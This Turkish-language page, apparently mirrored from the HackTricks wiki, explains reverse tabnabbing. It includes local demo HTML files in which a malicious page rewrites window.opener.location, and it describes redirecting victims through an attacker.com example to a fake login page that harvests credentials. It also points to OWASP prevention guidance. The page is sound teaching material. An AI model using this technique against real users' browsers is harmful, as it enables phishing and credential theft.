mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
82 lines
4.3 KiB
Markdown
82 lines
4.3 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
# Açıklama
|
||
|
||
Bir **saldırganın**, bir mağdur tarafından tıklanacak olan **`<a`** etiketinin **`href`** argümanını **kontrol** edebildiği bir durumda, **saldırgan** bu **bağlantıyı** kontrolü altında olan bir web sitesine (bir **kötü niyetli** **web sitesi**) yönlendirebilir. Ardından, **mağdur bağlantıya tıkladığında** ve saldırganın web sitesine eriştiğinde, bu **kötü niyetli** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal** **sayfayı** **kontrol** edebilir.\
|
||
Eğer sayfa **`rel="opener"`** içermiyorsa ancak `target="_blank"` içeriyorsa ve **`rel="noopener"`** yoksa, bu da savunmasız olabilir.
|
||
|
||
Bu davranışı kötüye kullanmanın yaygın bir yolu, **orijinal webin konumunu** `window.opener.location = https://attacker.com/victim.html` ile saldırganın kontrolündeki bir web sitesine **değiştirmek** olacaktır; böylece, orijinal web sitesinin **giriş** **formunu** **taklit** edebilir ve kullanıcıdan kimlik bilgilerini isteyebilir.
|
||
|
||
Ancak, **saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edebildiğinden**, bunu başka şekillerde kötüye kullanabilir ve **gizli saldırılar** gerçekleştirebilir (belki de javascript olaylarını değiştirerek kendisine ait bir sunucuya bilgi sızdırmak?).
|
||
|
||
# Genel Bakış
|
||
|
||
## Geri bağlantı ile
|
||
|
||
Önleme özelliği kullanılmadığında ana ve alt sayfalar arasındaki bağlantı:
|
||
|
||

|
||
|
||
## Geri bağlantı olmadan
|
||
|
||
Önleme özelliği kullanıldığında ana ve alt sayfalar arasındaki bağlantı:
|
||
|
||

|
||
|
||
## Örnekler <a href="#examples" id="examples"></a>
|
||
|
||
Aşağıdaki sayfaları bir klasörde oluşturun ve `python3 -m http.server` ile bir web sunucusu çalıştırın.\
|
||
Ardından, **erişim sağlayın** `http://127.0.0.1:8000/`vulnerable.html, **bağlantıya tıklayın** ve **orijinal** **web sitesinin** **URL**'sinin **nasıl değiştiğini** not edin.
|
||
```html:vulnerable.html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>Victim Site</h1>
|
||
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
```html:malicious.html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<script>
|
||
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
```html:malicious_redir.html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>New Malicious Site</h1>
|
||
</body>
|
||
</html>
|
||
```
|
||
## Erişilebilir özellikler <a href="#accessible-properties" id="accessible-properties"></a>
|
||
|
||
**Farklı kökenler** arasında bir erişim gerçekleştiği senaryoda, kötü niyetli bir site tarafından erişilebilen **opener** JavaScript nesne referansı ile belirtilen **window** JavaScript sınıf örneğinin özellikleri aşağıdakilerle sınırlıdır:
|
||
|
||
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döner.
|
||
- **`opener.frames`**: Bu özellik, mevcut penceredeki tüm iframe öğelerine erişim sağlar.
|
||
- **`opener.length`**: Mevcut pencerede bulunan iframe öğelerinin sayısını döner.
|
||
- **`opener.opener`**: Bu özellik aracılığıyla mevcut pencereyi açan pencereye bir referans elde edilebilir.
|
||
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst pencereyi döner.
|
||
- **`opener.self`**: Bu özellik, mevcut pencereye erişim sağlar.
|
||
- **`opener.top`**: Bu özellik, en üstteki tarayıcı penceresini döner.
|
||
|
||
Ancak, alanlar aynı olduğunda, kötü niyetli site, [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript nesne referansı tarafından sunulan tüm özelliklere erişim kazanır.
|
||
|
||
# Önleme
|
||
|
||
Önleme bilgileri [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) belgesinde belgelenmiştir.
|
||
|
||
## Referanslar
|
||
|
||
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|